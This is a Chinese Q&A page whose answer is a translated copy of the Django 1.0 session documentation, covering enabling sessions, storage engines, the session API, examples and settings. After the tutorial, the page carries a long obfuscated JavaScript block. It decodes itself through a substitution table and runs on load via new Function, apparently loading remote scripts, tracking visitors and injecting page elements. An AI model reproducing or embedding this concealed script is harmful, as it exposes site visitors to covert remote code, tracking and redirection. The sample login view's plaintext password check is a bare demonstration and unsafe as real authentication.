如何使用django session

2025-02-25 22:29:24
推荐回答(1个)
回答1:

  Django 完全支持匿名 Session。 Session 框架允许每一个用户保存并取回数据。它将数据保存在服务器端,并将发送和接收 Cookie 的操作包装起来。在 Cookie 中包含的是 Session ID,而不是数据本身。
  启用 Sessions¶
  Session 是通过 中间件 的方式实现的。
  要启用 Session 的功能,需要完成以下步骤:
  修改 MIDDLEWARE_CLASSES 设置,并确定其中包含了 'django.contrib.sessions.middleware.SessionMiddleware' 。``django-admin.py startproject`` 所创建的缺省的 settings.py 就已经激活了 SessionMiddleware 。
  将 'django.contrib.sessions' 添加到你的 INSTALLED_APPS 设置中,并执行 manage.py syncdb 以便安装用于存储 Session 数据的表格。
  Changed in Django 1.0: 如果你并未使用数据库存储 Session,则此步骤可以忽略;参考 配置 Session 引擎 。
  If you don’t want to use sessions, you might as well remove the SessionMiddleware line from MIDDLEWARE_CLASSES and 'django.contrib.sessions' from your INSTALLED_APPS. It’ll save you a small bit of overhead.
  配置 Session 引擎¶
  New in Django 1.0..
  缺省情况下,Django 将 Session 存储在数据库中 (使用模型 django.contrib.sessions.models.Session)。尽管这很方便,但在某些情况下,把 Session 放在其它的地方速度会更快。因此 Django 允许您通过配置让它将 Session 数据保存在文件系统或缓冲区中。
  使用基于文件的 Session¶
  要使用基于文件的 Session,请将 SESSION_ENGINE 设置为 "django.contrib.sessions.backends.file" 。
  您可能还需要修改 SESSION_FILE_PATH 这一设置以便控制 Django 存储 Session 文件的位置,缺省情况下,它使用 tempfile.gettempdir() ,通常是 /tmp 。
  使用基于缓冲区的 Session¶
  要使用 Django 的缓冲区系统来保存 Session,需要将 SESSION_ENGINE 设置为 "django.contrib.sessions.backends.cache" 。您必须确保您已经配置了缓冲区,详情请参考 缓冲区文档 。
  Note
  只有在使用 Memcached 作为缓冲后台时,才能使用基于缓冲区的 Session。因为以本地内存作为缓冲后台时,它存储缓冲数据的时间太短了,这样直接访问文件或数据库的速度,要比通过缓冲区访问文件或数据库的速度更快一些。
  在视图中使用 Session¶
  在开启 SessionMiddleware 后,每一个 HttpRequest 对象 (Django 视图函数的第一个参数) 救火有一个 session 属性,它是一个类字典对象。您可以直接对其读写。
  Session 对象有以下标准字典函数:
  __getitem__(key)
  例子: fav_color = request.session['fav_color']
  __setitem__(key, value)
  例子: request.session['fav_color'] = 'blue'
  __delitem__(key)
  例子: del request.session['fav_color']. This raises KeyError if the given key isn’t already in the session.
  __contains__(key)
  例子: 'fav_color' in request.session
  get(key, default=None)
  例子: fav_color = request.session.get('fav_color', 'red')
  keys()
  items()
  setdefault()
  clear()
  New in Django 1.0: setdefault() 和 clear() 是在这个版本新加的。
  它还有如下方法:
  flush()
  New in Django 1.0.
  从数据库中删除当前的 Session 数据并且重新生成一个 Session 键,并将其发送给浏览器。这用于需要确保 Session 数据无法再从用户浏览器访问时,譬如调用 django.contrib.auth.logout() 时。
  set_test_cookie()
  设定检测 Cookie 以检验用户的浏览器是否支持 Cookie。因 Cookie 的工作方式,在下一次用户请求之前,您都无法得到测试结果。详情参考下面的 设置检测 Cookie 。
  test_cookie_worked()
  判断用户的浏览器是否收到了检测 Cookie,并返回 True 或 False 。因 Cookie 的工作方式,您必须在之前的独立请求中调用 set_test_cookie() 。详情参考下面的 设置检测 Cookie 。
  delete_test_cookie()
  删除检测 Cookie,请自己调用此函数以便清除该 Cookie。
  set_expiry(value)
  New in Django 1.0.
  设定 Session 的过期时间。您可以提供下述几种形式的值:
  如果 value 是整形,则它表示的是秒。例如,调用 request.session.set_expiry(300) 会让 Session 在五分钟后过期。
  如果 value 是 datetime 或 timedelta 对象,则 Session 将会在相应的日期或时间点过期。
  如果 value is 0 ,则用户的 Session 会在浏览器关闭时过期。
  如果 value is None ,则 Session 会使用全局策略来设定过期时间。
  get_expiry_age()
  New in Django 1.0.
  获得此 Session 的过期时间。对于没有自定义过期时间的 Session (或在浏览器关闭时过期的 Session),此函数返回值与 settings.SESSION_COOKIE_AGE 相同。
  get_expiry_date()
  New in Django 1.0.
  获得此 Session 的过期时间点。对于没有自定义过期时间的 Session (或在浏览器关闭时过期的 Session),此函数的返回值等于从现在到时间点 settings.SESSION_COOKIE_AGE 的秒数。
  get_expire_at_browser_close()
  New in Django 1.0.
  返回 Session 是否会在浏览器关闭时过期,返回值为 True 或 False 。
  您在视图中的任何位置都可以修改 request.session ,改多少次都行。
  Session 对象指南¶
  直接在 request.session 上使用 Python 字符串作为字典的键,这比使用 Session 对象的方法来得更直接。
  在 Session 字典中,以下划线开始的键,是保留给 Django 在内部使用的。
  不要用一个新的对象覆盖 request.session ,也不要访问或修改它的属性,它只能作为一个类字典对象使用。
  例子¶
  这个简单的视图在用户提交了评价信息后,将变量 has_commented 设定为 True ,这样就可以防止用户多次提交评价信息:
  def post_comment(request, new_comment): if request.session.get('has_commented', False): return HttpResponse("You've already commented.") c = comments.Comment(comment=new_comment) c.save() request.session['has_commented'] = True return HttpResponse('Thanks for your comment!')
  这个简单的视图让网站的“用户”登录:
  def login(request): m = Member.objects.get(username=request.POST['username']) if m.password == request.POST['password']: request.session['member_id'] = m.id return HttpResponse("You're logged in.") else: return HttpResponse("Your username and password didn't match.")
  ...与上面的例子相对应的,下面的例子则让用户退出:
  def logout(request): try: del request.session['member_id'] except KeyError: pass return HttpResponse("You're logged out.")
  实际上标准的 django.contrib.auth.logout() 还会多做一些事情从而防止因疏忽造成的数据泄露。它会调用 request.session.flush() 函数。我们使用这些例子只是演示如何操作 Session 对象,它可不是一个完整的 logout() 实现。
  设置检测 Cookie¶
  为方便起见,Django 提供了一种简单的方法来检测用户的浏览器是否支持 Cookie。只要在一个请求中调用 request.session.set_test_cookie() 并在后续请求中调用 request.session.test_cookie_worked() 即可。注意千万不要在同一次请求中同时调用。
  之所以要在两次请求中调用 set_test_cookie() 和 test_cookie_worked() 是因为 Cookie 的工作模式。当您设定了 Cookie 后,再下一次请求前,都是没有办法知道浏览器是否会接收它的。
  另外最好在测试完毕后,使用 delete_test_cookie() 清除测试用数据。
  以下是一个典型的例子:
  def login(request): if request.method == 'POST': if request.session.test_cookie_worked(): request.session.delete_test_cookie() return HttpResponse("You're logged in.") else: return HttpResponse("Please enable cookies and try again.") request.session.set_test_cookie() return render_to_response('foo/login_form.html')
  在视图外使用 Session¶
  New in Django 1.0.
  有一个 API 专门用于在视图之外操作 Session 数据:
  >>> from django.contrib.sessions.backends.db import SessionStore >>> s = SessionStore(session_key='2b1189a188b44ad18c35e113ac6ceead') >>> s['last_login'] = datetime.datetime(2005, 8, 20, 13, 35, 10) >>> s['last_login'] datetime.datetime(2005, 8, 20, 13, 35, 0) >>> s.save()
  如果您使用了 django.contrib.sessions.backends.db 后台,则每一个 Session 都是一个普通的 Django 模型。模型 Session 在文件 django/contrib/sessions/models.py 中定义。由于它是一个普通的模型,因此您可以使用 Django 的数据库编程接口直接访问它:
  >>> from django.contrib.sessions.models import Session >>> s = Session.objects.get(pk='2b1189a188b44ad18c35e113ac6ceead') >>> s.expire_date datetime.datetime(2005, 8, 20, 13, 35, 12)
  注意,要获得 Session 字典,需要调用 get_decoded() ,这是因为字典是以编码的方式存储的:
  >>> s.session_data 'KGRwMQpTJ19hdXRoX3VzZXJfaWQnCnAyCkkxCnMuMTExY2ZjODI2Yj...' >>> s.get_decoded() {'user_id': 42}
  Session 是何时存储的¶
  缺省情况下,Django 只在 Session 被修改时才会保存它,即只有字典中的值被修改或删除时:
  # Session is modified. request.session['foo'] = 'bar' # Session is modified. del request.session['foo'] # Session is modified. request.session['foo'] = {} # Gotcha: Session is NOT modified, because this alters # request.session['foo'] instead of request.session. request.session['foo']['bar'] = 'baz'
  对于在上面的最后一个,通过显示地设定 Session 对象的 modified 属性,可以通知 Session 对象它被修改了:
  request.session.modified = True
  要改变这种行为,可以将 SESSION_SAVE_EVERY_REQUEST 设定为 True 。如果 SESSION_SAVE_EVERY_REQUEST 是 True ,则 Django 在每一次独立的请求之后都会保存 Session。
  注意,只有在创建或修改 Session 的时候才会送出 Session Cookie,如果 SESSION_SAVE_EVERY_REQUEST 为 True ,则每次请求都会送出 Cookie。
  同样地,在送出 Cookie 时,它的 expires 部分每次都会被更新。
  与浏览器同步的 Session 和持久的 Session¶
  通过设置 SESSION_EXPIRE_AT_BROWSER_CLOSE ,您可以控制 Session 框架使用与浏览器同步的 Session 或持久的 Session。
  缺省情况下, SESSION_EXPIRE_AT_BROWSER_CLOSE 的值为 False ,这表示 Session Cookie 将会保存在用户的浏览器中,直到超过了 SESSION_COOKIE_AGE 。如果您希望用户不必在每次关闭浏览器后都重新登陆,请使用这种方式。
  如果 SESSION_EXPIRE_AT_BROWSER_CLOSE 设定为 True ,则 Django 会使用与浏览器同步的 Cookie,即用户关闭浏览器时 Cookie 就会过期。如果您希望用户每次打开浏览器都必须登录,请使用这种模式。
  New in Django 1.0.
  这个设置具有全局的缺省值,但可以通过调用 request.session.set_expiry() 为每个 Session 设定独立的值,相关内容在上述的 在视图中使用 Session 中有所阐述。
  清空 Session 表格¶
  注意,Session 数据有可能堆积在数据库表格 django_session 中,Django 不提供 自动清除它们的功能。它把定期清空 Session 数据的任务留给了您。
  要理解这个问题,想像一下用户使用 Session 时会发生什么。当用户登录,Django 向表格 django_session 中添加一条记录。每当 Session 数据变化时,Django 会更新这条记录。如果用户手工退出了,Django 会删除它。但是,如果用户 没有 退出,则这条记录永远都不会被删除。
  Django 提供了一个能够完成清除功能的样例脚本 django-admin.py cleanup ,它从 Session 表格中删除那些 expire_date 已经过期的记录,但是您的应用程序可能会有其它的需求。
  设置¶
  一些 Django 设置 可以帮助您控制 Session 的行为:
  SESSION_ENGINE¶
  New in Django 1.0.
  缺省值: django.contrib.sessions.backends.db
  控制 Django 在何处保存 Session 数据,合法的值为:
  'django.contrib.sessions.backends.db'
  'django.contrib.sessions.backends.file'
  'django.contrib.sessions.backends.cache'
  详情请参考 配置 Session 引擎 。
  SESSION_FILE_PATH¶
  New in Django 1.0.
  缺省值: /tmp/
  如果您使用基于文件的 Session 存储,则此变量控制着 Django 存储 Session 数据的目录。
  SESSION_COOKIE_AGE¶
  缺省值: 1209600 (两周,以秒表示)
  Session Cookie 的过期时间,以秒表示
  SESSION_COOKIE_DOMAIN¶
  缺省值: None
  Session Cookie 的域。如果是要设定跨域的 Cookie,可以将其设定为 ".lawrence.com" 的形式,否则请使用 None 。
  SESSION_COOKIE_NAME¶
  缺省值: 'sessionid'
  Session 所使用的 Cookie 的名称,可根据需要设定。
  SESSION_COOKIE_SECURE¶
  缺省值: False
  对于 Session Cookie,是否要使用安全模式。如果将此设定为 True ,则 Cookie 将会被标记为“安全”,这种情况下,浏览器就需要确定该 Cookie 是否是通过 HTTPS 连接发送的。
  SESSION_EXPIRE_AT_BROWSER_CLOSE¶
  缺省值: False
  是否当用户关闭浏览器时就让 Session 过期。详情参考上文 与浏览器同步的 Session 和持久的Session 。
  SESSION_SAVE_EVERY_REQUEST¶
  缺省值: False
  是否在每次请求时都保存 Session 数据。如果此项为 False (缺省值),则 Session 数据只有在它被修改后才会保存,即它的字典值被赋值或删除时。
  技术细节¶
  Session 字典可以接受任何与 pickle 兼容的 Python 对象,详情参考 pickle 模块 。
  Session 数据存储在数据库表格 django_session 中。
  Django 只在需要的时候才发送 Cookie,如果您没有设定任何的 Session 数据,它不会送出 Cookie。
  URL 中的 Session ID¶
  Django 的 Session 框架是完全基于 Cookie 的,并且它也只能基于 Cookie。它不会像一些软件(譬如 PHP)那样在 Session 不能正常工作时,把 Session ID 放到 URL 中。作出这一决定是经过深思熟虑的,那种方法不仅使得 URL 很丑陋,并且 Session ID 还有可能通过 “Referer” 头泄漏出去,从而给网站带来安全隐患。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();